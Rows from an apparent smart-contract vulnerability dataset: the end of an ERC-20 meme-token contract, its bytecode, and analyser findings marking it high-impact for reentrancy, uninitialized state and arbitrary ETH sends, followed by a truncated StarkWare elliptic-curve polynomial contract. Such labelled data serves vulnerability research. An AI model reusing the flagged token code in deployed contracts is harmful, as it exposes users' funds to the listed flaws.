require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102d0578063c9567bf9146102e5578063d543dbeb146102fa578063dd62ed3e1461031a578063e8078d941461036057600080fd5b8063715018a6146102465780638da5cb5b1461025b57806395d89b4114610283578063a9059cbb146102b057600080fd5b8063313ce567116100d1578063313ce567146101d35780635932ead1146101ef5780636fc3eaec1461021157806370a082311461022657600080fd5b806306fdde031461010e578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526014815273546f6675496e7520742e6d652f746f6675696e7560601b60208201525b6040516101549190611ac2565b60405180910390f35b34801561016957600080fd5b5061017d610178366004611a15565b610375565b6040519015158152602001610154565b34801561019957600080fd5b50683635c9adc5dea000005b604051908152602001610154565b3480156101bf57600080fd5b5061017d6101ce3660046119d4565b61038c565b3480156101df57600080fd5b5060405160098152602001610154565b3480156101fb57600080fd5b5061020f61020a366004611a41565b6103f5565b005b34801561021d57600080fd5b5061020f610446565b34801561023257600080fd5b506101a5610241366004611961565b610473565b34801561025257600080fd5b5061020f610495565b34801561026757600080fd5b506000546040516001600160a01b039091168152602001610154565b34801561028f57600080fd5b50604080518082019091526004815263544f465560e01b6020820152610147565b3480156102bc57600080fd5b5061017d6102cb366004611a15565b610509565b3480156102dc57600080fd5b5061020f610516565b3480156102f157600080fd5b5061020f61054c565b34801561030657600080fd5b5061020f610315366004611a7b565b6105a1565b34801561032657600080fd5b506101a561033536600461199b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036c57600080fd5b5061020f610674565b60006103823384846109e2565b5060015b92915050565b6000610399848484610b06565b6103eb84336103e685604051806060016040528060288152602001611c98602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ce565b6109e2565b5060019392505050565b6000546001600160a01b031633146104285760405162461bcd60e51b815260040161041f90611b17565b60405180910390fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461046657600080fd5b4761047081611208565b50565b6001600160a01b0381166000908152600260205260408120546103869061128d565b6000546001600160a01b031633146104bf5760405162461bcd60e51b815260040161041f90611b17565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610382338484610b06565b600f546001600160a01b0316336001600160a01b03161461053657600080fd5b600061054130610473565b905061047081611311565b6000546001600160a01b031633146105765760405162461bcd60e51b815260040161041f90611b17565b601254600160a81b900460ff1661058c57600080fd5b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105cb5760405162461bcd60e51b815260040161041f90611b17565b6000811161061b5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161041f565b6106396064610633683635c9adc5dea000008461149a565b90611519565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461069e5760405162461bcd60e51b815260040161041f90611b17565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106db3082683635c9adc5dea000006109e2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561071457600080fd5b505afa158015610728573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074c919061197e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079457600080fd5b505afa1580156107a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cc919061197e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561081457600080fd5b505af1158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c919061197e565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d719473061087c81610473565b6000806108916000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108f457600080fd5b505af1158015610908573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061092d9190611a94565b50506012805463ffff00ff60a81b198116630101000160a81b17909155681043561a882930000060135560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109a657600080fd5b505af11580156109ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109de9190611a5e565b5050565b6001600160a01b038316610a445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041f565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041f565b6001600160a01b038216610bcc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041f565b60008111610c2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041f565b6000546001600160a01b03848116911614801590610c5a57506000546001600160a01b03838116911614155b1561117157601254600160c01b900460ff1615610d41576001600160a01b0383163014801590610c9357506001600160a01b0382163014155b8015610cad57506011546001600160a01b03848116911614155b8015610cc757506011546001600160a01b03838116911614155b15610d41576011546001600160a01b0316336001600160a01b03161480610d0157506012546001600160a01b0316336001600160a01b0316145b610d415760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161041f565b6001600160a01b0383166000908152600a602052604090205460ff16158015610d8357506001600160a01b0382166000908152600a602052604090205460ff16155b610d8c57600080fd5b6012546001600160a01b038481169116148015610db757506011546001600160a01b03838116911614155b8015610ddc57506001600160a01b03821660009081526005602052604090205460ff16155b8015610df15750601254600160c01b900460ff165b15610e6e57601254600160a01b900460ff16610e0c57600080fd5b601354811115610e1b57600080fd5b6001600160a01b0382166000908152600b60205260409020544211610e3f57600080fd5b610e4a42601e611bbd565b6001600160a01b0383166000908152600b6020526040902055600660095560026008555b6000610e7930610473565b601254909150600160b01b900460ff16158015610ea457506012546001600160a01b03858116911614155b8015610eb95750601254600160b81b900460ff165b1561116f57601254610ee79060649061063390600390610ee1906001600160a01b0316610473565b9061149a565b8211158015610ef857506013548211155b610f0157600080fd5b6001600160a01b0384166000908152600c60205260409020544211610f2557600080fd5b6001600160a01b0384166000908152600d60205260409020544290610f4d9062015180611bbd565b1015610f6d576001600160a01b0384166000908152600e60205260408120555b6001600160a01b0384166000908152600e6020526040902054610ffa576001600160a01b0384166000908152600e60205260408120805491610fae83611c2d565b90915550506001600160a01b0384166000908152600d602052604090204290819055610fdc90610e10611bbd565b6001600160a01b0385166000908152600c6020526040902055611132565b6001600160a01b0384166000908152600e602052604090205460011415611051576001600160a01b0384166000908152600e6020526040812080549161103f83611c2d565b90915550610fdc905042611c20611bbd565b6001600160a01b0384166000908152600e6020526040902054600214156110a8576001600160a01b0384166000908152600e6020526040812080549161109683611c2d565b90915550610fdc905042615460611bbd565b6001600160a01b0384166000908152600e602052604090205460031415611132576001600160a01b0384166000908152600e602052604081208054916110ed83611c2d565b90915550506001600160a01b0384166000908152600d60205260409020546111189062015180611bbd565b6001600160a01b0385166000908152600c60205260409020555b61113b81611311565b47801561114b5761114b47611208565b6001600160a01b0385166000908152600e602052604090205461116d9061155b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b357506001600160a01b03831660009081526005602052604090205460ff165b156111bc575060005b6111c88484848461157d565b50505050565b600081848411156111f25760405162461bcd60e51b815260040161041f9190611ac2565b5060006111ff8486611c16565b95945050505050565b600f546001600160a01b03166108fc611222836002611519565b6040518115909202916000818181858888f1935050505015801561124a573d6000803e3d6000fd5b506010546001600160a01b03166108fc611265836002611519565b6040518115909202916000818181858888f193505050501580156109de573d6000803e3d6000fd5b60006006548211156112f45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041f565b60006112fe6115a9565b905061130a8382611519565b9392505050565b6012805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061135957611359611c5e565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ad57600080fd5b505afa1580156113c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e5919061197e565b816001815181106113f8576113f8611c5e565b6001600160a01b03928316602091820292909201015260115461141e91309116846109e2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790611457908590600090869030904290600401611b4c565b600060405180830381600087803b15801561147157600080fd5b505af1158015611485573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b6000826114a957506000610386565b60006114b58385611bf7565b9050826114c28583611bd5565b1461130a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041f565b600061130a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115cc565b806008546115699190611bf7565b600855600181111561047057600a60095550565b8061158a5761158a6115fa565b61159584848461161d565b806111c8576111c860076008556005600955565b60008060006115b6611714565b90925090506115c58282611519565b9250505090565b600081836115ed5760405162461bcd60e51b815260040161041f9190611ac2565b5060006111ff8486611bd5565b60085415801561160a5750600954155b1561161157565b60006008819055600955565b60008060008060008061162f87611756565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061166190876117b3565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461169090866117f5565b6001600160a01b0389166000908152600260205260409020556116b281611854565b6116bc848361189e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161170191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117308282611519565b82101561174d57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117738a6008546009546118c2565b92509250925060006117836115a9565b905060008060006117968e878787611911565b919e509c509a509598509396509194505050505091939550919395565b600061130a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ce565b6000806118028385611bbd565b90508381101561130a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041f565b600061185e6115a9565b9050600061186c838361149a565b3060009081526002602052604090205490915061188990826117f5565b30600090815260026020526040902055505050565b6006546118ab90836117b3565b6006556007546118bb90826117f5565b6007555050565b60008080806118d66064610633898961149a565b905060006118e960646106338a8961149a565b90506000611901826118fb8b866117b3565b906117b3565b9992985090965090945050505050565b6000808080611920888661149a565b9050600061192e888761149a565b9050600061193c888861149a565b9050600061194e826118fb86866117b3565b939b939a50919850919650505050505050565b60006020828403121561197357600080fd5b813561130a81611c74565b60006020828403121561199057600080fd5b815161130a81611c74565b600080604083850312156119ae57600080fd5b82356119b981611c74565b915060208301356119c981611c74565b809150509250929050565b6000806000606084860312156119e957600080fd5b83356119f481611c74565b92506020840135611a0481611c74565b929592945050506040919091013590565b60008060408385031215611a2857600080fd5b8235611a3381611c74565b946020939093013593505050565b600060208284031215611a5357600080fd5b813561130a81611c89565b600060208284031215611a7057600080fd5b815161130a81611c89565b600060208284031215611a8d57600080fd5b5035919050565b600080600060608486031215611aa957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611aef57858101830151858201604001528201611ad3565b81811115611b01576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b9c5784516001600160a01b031683529383019391830191600101611b77565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bd057611bd0611c48565b500190565b600082611bf257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c1157611c11611c48565b500290565b600082821015611c2857611c28611c48565b500390565b6000600019821415611c4157611c41611c48565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461047057600080fd5b801515811461047057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a10095796668670f01443fbdcc60d2db9111bd8fdcc7f7ec59a733336505d4c264736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 905 |
0x1A506958DD1601911aDEA5733BC3806d5d5988FE | /*
Copyright 2019,2020 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
pragma solidity ^0.5.2;
contract EcdsaPointsYColumn {
function compute(uint256 x) external pure returns(uint256 result) {
uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001;
assembly {
// Use Horner's method to compute f(x).
// The idea is that
// a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n =
// (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0.
// Consequently we need to do deg(f) horner iterations that consist of:
// 1. Multiply the last result by x
// 2. Add the next coefficient (starting from the highest coefficient)
//
// We slightly diverge from the algorithm above by updating the result only once
// every 7 horner iterations.
// We do this because variable assignment in solidity's functional-style assembly results in
// a swap followed by a pop.
// 7 is the highest batch we can do due to the 16 slots limit in evm.
result :=
add(0xf524ffcb160c3dfcc72d40b12754e2dc26433a37b8207934f489a203628137, mulmod(
add(0x23b940cd5c4f2e13c6df782f88cce6294315a1b406fda6137ed4a330bd80e37, mulmod(
add(0x62e62fafc55013ee6450e33e81f6ba8524e37558ea7df7c06785f3784a3d9a8, mulmod(
add(0x347dfb13aea22cacbef33972ad3017a5a9bab04c296295d5d372bad5e076a80, mulmod(
add(0x6c930134c99ac7200d41939eb29fb4f4e380b3f2a11437dd01d12fd9ebe8909, mulmod(
add(0x49d16d6e3720b63f7d1e74ed7fd8ea759132735c094c112c0e9dd8cc4653820, mulmod(
add(0x23a2994e807cd40717d68f37e1d765f4354a81b12374c82f481f09f9faff31a, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4eac8ffa98cdea2259f5c8ad87a797b29c9dccc28996aed0b545c075c17ebe1, mulmod(
add(0x1058ff85f121d7902521abfa5f3f5c953fee83e0f58e069545f2fc0f4eda1ba, mulmod(
add(0x76b4883fd523dff46e4e330a3dd140c3eded71524a67a56a75bd51d01d6b6ca, mulmod(
add(0x5057b804cff6566354ca744df3686abec58eda846cafdc361a7757f58bd336e, mulmod(
add(0x37d720cf4c846de254d76df8b6f92e93b839ee34bf528d059c3112d87080a38, mulmod(
add(0xa401d8071183f0c7b4801d57de9ba6cda7bd67d7941b4507eab5a851a51b09, mulmod(
add(0x603e3a8698c5c3a0b0b40a79ba0fdff25e5971f0ef0d3242ead1d1a413e443b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4b74b468c4ef808ddcc6e582393940111941abece8a285da201171dc50525c7, mulmod(
add(0x761717d47600662a250116e2403b5115f4071de6e26e8dc231840eeb4484ec3, mulmod(
add(0x5a593d928542a100c16f3dc5344734c9ef474609bd7099257675cef0392fab8, mulmod(
add(0x7d2292c8660492e8a1ce3db5c80b743d60cdaac7f438b6feab02f8e2aade260, mulmod(
add(0x480d06bb4222e222e39ab600b8aadf591db4c70bae30fe756b61564eec6c7e, mulmod(
add(0x59fef071cf1eeff5303f28f4fe10b16471a2230766915d70b525d62871f6bc6, mulmod(
add(0x6e7240c4a94fa3e10de72070fd2bf611af5429b7e83d53cfe1a758dee7d2a79, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x247573f2f3fbd5386eac2d26851f9512cd57ad19773b8ca119d20852b9b6538, mulmod(
add(0x739edb8cdd16692deaba7fb1bb03f55dd417891bacb39c7927969551f29cb37, mulmod(
add(0x6e0bed1b41ee1cf8667c2924ebd460772a0cd97d68eaea63c6fa77bf73f9a9e, mulmod(
add(0x3ede75d46d49ceb580d53f8f0553a2e370138eb76ac5e734b39a55b958c847d, mulmod(
add(0x59bd7fe1c9553495b493f875799d79fc86d0c26e794cce09c659c397c5c4778, mulmod(
add(0x47b2a5ef58d331c30cfcd098ee011aaeae87781fd8ce2d7427c6b859229c523, mulmod(
add(0x14ef999212f88ca277747cc57dca607a1e7049232becedf47e98aca47c1d3fe, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38db61aa2a2b03053f5c51b155bc757b0634ce89baace113391369682fc1f74, mulmod(
add(0x43545892bb5a364c0b9acd28e36371bede7fd05e59a9dcd875c44ff68275b2b, mulmod(
add(0x5599e790bd325b322395d63d96cd0bd1494d4648e3d1991d54c23d24a714342, mulmod(
add(0x675532b80f5aaa605219de7fe8650e24fee1c3b0d36cdf4fb605f6215afacee, mulmod(
add(0x278a7c68986adbe634d44c882a1242147e276fee7962d4c69ca4c8747b3e497, mulmod(
add(0x75a0f99a4dec1988f19db3f8b29eeef87836eb0c3d8493913b7502cfedcef28, mulmod(
add(0x2f6efb89f27d2c0a86ec1e6f231b225caf2af9be01aca173a15fa02b11fdf24, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x10f236430f20aafda49d1c3e3759c510fdf0c0c19f89df6d5d71deac88b547b, mulmod(
add(0x7b16c33c4a8ffcecbd83f382469e1d00a340ceab5e7d9c0bd4fd010b83f4310, mulmod(
add(0x6ae3ee97ea5dcfbb7c36cffd89665baf114fae391c0367be688db09861a8ca1, mulmod(
add(0xcb3335374cc2a2350fe53d2389f04952c4d634f489031742dfccca17be2e09, mulmod(
add(0x1030d58878296e14b1c5bcafe7e817ebe4aa1039aa96b9d0dd7fc915b23f42a, mulmod(
add(0x3a663fc27ec3ad56da89d407089bcec0971cebcb3edf0c393112501919643d7, mulmod(
add(0x71b2b6b03e8cc0365ac26c4dbf71e8d426167d79f8bd1af44738890c563062a, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4f63db02e10fbe428a5dda8d9093feef46cc19568a3c8ad2fce7e7519004095, mulmod(
add(0x2bfd1294f111a5a90842d19cffb97481aefbc09ab6c47d7dcf91ba228019c07, mulmod(
add(0xdaee1c7b34ecb34717b7313dc4a299dd1a161447e2e0249426a6fc33a72289, mulmod(
add(0x76323f8567119897f10d58e1552c98f5a62f03a16d3737e20fc2b0a31a3a843, mulmod(
add(0x65d50aa3c1d84a3deee14057eec98656a1296cdcbe32250bfdaa50ffac4c5dc, mulmod(
add(0x253bf2869135f4bda4029cae2819b2f468ae88530f3ea771090b2727814c494, mulmod(
add(0x104b04e96151f5103118c4eb556cd79899148fd6656e73cb62f41b41d65e4d8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4e0a5dd802deed7cb8d06527beb15dad32547bae77141c32473f4c8148912e3, mulmod(
add(0x33ff2d848bf237f536524da818598ae0f2516ebee526b77957448973eefacd3, mulmod(
add(0x5a00feeb391114d7b976654ab16ddf8360f05671b34d4a97da278c0aef34d76, mulmod(
add(0x7e8659c39d7a102a198f0e7c3814060926ec0410330dd1a13dfadeab4e74593, mulmod(
add(0x5ba89e0eb3830039d0f8a9ca00acef15db22374c965b01abc49dee46270a7d, mulmod(
add(0x30a2e8ac9e6605fd722dffb4caca8c06dd4a8968a7bf41a5371cb1a07d11c00, mulmod(
add(0x761a240cd8aa2f135daf0760bfc2c9d5e896e93a45426571cdad9118722e2b0, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1b0fa36439192f135c239918bf47ad14b55ced699f4582d929a60dd227b34ff, mulmod(
add(0x472d99d1a6e1a6aef339eab1af3d53af7a8326e4d0a6bac73c3a159031c3686, mulmod(
add(0x2046e1b4fd4c108e8f832f5bcc4dd46abf0d19ef0237beaec29d6c12fb9832e, mulmod(
add(0xa758a70ba6a0cbcbc65abfeca51359904f790752c3df55d42707253d8dea70, mulmod(
add(0x6eb66d366da57e4ae717307dfc3351579fe857c51aa82b95044473c9ed14377, mulmod(
add(0x59d0d8ca9ecda81081dfcae7580ab3c08a72195438c1556000c0c1dbdc08174, mulmod(
add(0x776459dfedbbdfcef7a31e0f60c6480fc0676b280fdb6290859fe586d6e6106, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x23590dabe53e4ef12cba4a89b4741fcfaa232b7713d89df162031c8a627011e, mulmod(
add(0x339b405bffb6dbb25bc0432e9c726b7f94e18cf1332ec7adfeb613345e935ab, mulmod(
add(0x25c5f348c260177cd57b483694290574a936a4d585ea7cf55d114a8005b17d0, mulmod(
add(0x68a8c6f86a8c1ebaeb6aa72acef7fb5357b40700af043ce66d3dccee116510a, mulmod(
add(0x1ea9bd78c80641dbf20eddd35786028691180ddcf8df7c87552dee1525368ba, mulmod(
add(0x4e42531395d8b35bf28ccc6fab19ea1f63c635e5a3683ac9147306c1640e887, mulmod(
add(0x728dd423dbf134972cbc7c934407424743843dd438e0f229afbcca6ce34d07d, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x30b11c32e8aab0c5908651a8d445395de52d5ce6a1efe75f2ad5e2c8c854a30, mulmod(
add(0x44938959c2e944eb6e5c52fc4ee40b34df37905fa348fa109f6875c1aa18000, mulmod(
add(0x655038ca08eba87484bc562e7fd50ce0584363278f9d716e31c650ee6989a2b, mulmod(
add(0x4f81a946bb92416d212e4d54f2be5fa8043be6fa482b417d772bfa90be4e273, mulmod(
add(0x605a244f646a825602891bf9ddffef80525010517b32625759b0bf5a7f2c386, mulmod(
add(0x2e1b2a3c32aebc0be30addd8929c01714783aaf01be8a1d35e830646e8a54f0, mulmod(
add(0x534a4f3cf71c93023e473f12e407558b6c24b712204fd59ddc18c7bcddd571e, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3e850e31c0345726c1ace38537dd88a50c85d6819ae98add1bbd62b618f7a1c, mulmod(
add(0xd77a8e8eed7ce4931a6d2a4774c21864e2c9f468d080af9aba6756433a1a8d, mulmod(
add(0x62be425458d26cfedf8ec23961cdfd9f4abeb21f1debbe87bd51469013358fe, mulmod(
add(0x7d7faca17be1da74cf132dda889a05fce6e710af72897a941625ea07caa8b01, mulmod(
add(0x580550e76557c8ff3368e6578a0e3bed0bac53b88fefdde88f00d7089bc175d, mulmod(
add(0x1345876a6ab567477c15bf37cc95b4ec39ac287887b4407593203d76f853334, mulmod(
add(0x4a92733a733f225226a3d7f69297e7ff378b62c8a369e1bbf0accfd7fb0977e, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x2833391a62030808228d14437d6f91b31c0038c14988a23742b45e16f9b84b5, mulmod(
add(0xa737d6916aa6a869252d8ff294a55706e95e0844e6b047755704e37d978e09, mulmod(
add(0x2652523cbbec2f84fae1a17397dac1965127650479e1d5ccfc6bfbfcbb67996, mulmod(
add(0x6dcfc3a99563a5ba4368ac4f11f43e830c5b620a7273330e841bedec0bfb5a, mulmod(
add(0x5428ff423f2bbabcb5f54aafa03d99a320b4b255115351f50b229eae5522178, mulmod(
add(0x76640613af9ed1a125624e0c38252bee457ce87badb24fc4f961e55883d9077, mulmod(
add(0x375a5d9b11c83d06a04dc9f1908b8183adc6f04e5b2ceeaa23d3b68c973ee77, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x327319fcc0d34a0d64f5acab00244b43674a60bef754844fb2920c87c90cff0, mulmod(
add(0x573b13b32161c11c9b16eff7cf93fa770a3ef667547a27503e39092aeabf73e, mulmod(
add(0x41776c662b44a36c7075097c14b6010cb321591a4eca2866d58252eaf9471ac, mulmod(
add(0x7f2abefac9e7f8109b0a2d25d0bd297059e45dd66798ac8b299f0a3e442dd2c, mulmod(
add(0x60bdb98c079bd5cef216803b056afce03f6ea41934275c965d6e196240fb953, mulmod(
add(0x1e141c5429a369996563573bf61d7f713cb7d25baadff636ba2756c65a910ee, mulmod(
add(0x284f7815a7eabc1dcf56da511f7d739f1a199f8ffaf3474f645d2fc93327dc, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x70930735d913d54915fba20c97f07cba8f33eb8f4f81fd869699a10e83264cd, mulmod(
add(0x1e3b6498f0daba2fd99c2ac65461c3fa519cb738b53cd6f002e97199fa4161c, mulmod(
add(0x3d8506e792fa9ac86ac9739d3d5bf63cfc13c456a99c8581adf590c8d9b72eb, mulmod(
add(0x5e4b0ecc6a6c15ed16c1c04e96538880785ff9b5bff350f37e83b6fed446f14, mulmod(
add(0x21f5ea8660d290f28b9300e02ed84e110d7338a74503b369ad144a11cf79f63, mulmod(
add(0x7b9cd3b277f00a75a17961d2d8e46e6a1838c8500c569cdcad08bd4e0cbae84, mulmod(
add(0x755f0e4c374e2fa4aa7eda10041e2139a4a7793eea44f415c73ad4fcba1758, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3678de28b6896959edf5c9dc0caec59b02dfbbf54811f87939b32d0523f58bb, mulmod(
add(0x5820792f23a13d58ddef0607950d422598bb1f21888dace88929fbe7d4828c4, mulmod(
add(0x26a4b2a61f40c1ad77737b99cb27d2f3118622be64f0120907e2589d2f25ebf, mulmod(
add(0x4b2222d0aee638c7e5efd8ada791638ac155a01b78f3b532283574653998bb2, mulmod(
add(0x5db8c52b6adb520496f9edd7105c92df67e8605ff4e0cc59992c3eb651ac7a4, mulmod(
add(0x3aa748723229eb8b33354e0901f50ad052b6c1006916790c979133c4442be90, mulmod(
add(0x16a36769ee50227c564bebce3d9cd7c4ca55702a7c7ccf403075f68f05a0c2, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x171f0638dedf0b69655fa9930bcbc91b257e299a6717bd8ea23ef550c8faff5, mulmod(
add(0x29889daac66c404d6491ec3a435d810a2877d885df1a3a193697b79b4af39c4, mulmod(
add(0x229d7fc2a1bcfbe00d5773f8dadd70a2641d8578fa73e66263b3512d3e40491, mulmod(
add(0x73200d12e733294b5cbb8ffe7fb3977088135d0b0e335135f9076d04a653c58, mulmod(
add(0x6d7af6524127a117184a0c12a6ff30d28b14933a4e96bb3b738d2a36db72e84, mulmod(
add(0x7af8995e2ceed8841e34d44365c7ca14f5980a6a5c67b9813fa7bfd74a9c1b1, mulmod(
add(0x3cd13f84bb7ae6eeccc1012837d2f3e017f069e66cf047172bc70371f5aed38, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x658160ea7b654d786dc624b258c691f594e080610c2d41d6ebea0d8e3396849, mulmod(
add(0x56cbe248ebbc2f57ca8b943b219ba245791592f687815293a4499ef598fa9b7, mulmod(
add(0x2a48058c77edcd75dd4323d9bb9eccb854009b1184fd716a8202f8627bb5447, mulmod(
add(0x3444c0f008988c8f600270b365ff926f016e49a54ab35bac4f3b3a42a5879b1, mulmod(
add(0x6d1c3edcf1de16a4e0ad7d8aa099a31fa2cfbf81f6d1a5798bd1ef93ff906af, mulmod(
add(0x7fc7d854c9d0b3bfbf826c384b3521af0f29f975613e8ea6dc14f37d8beb54c, mulmod(
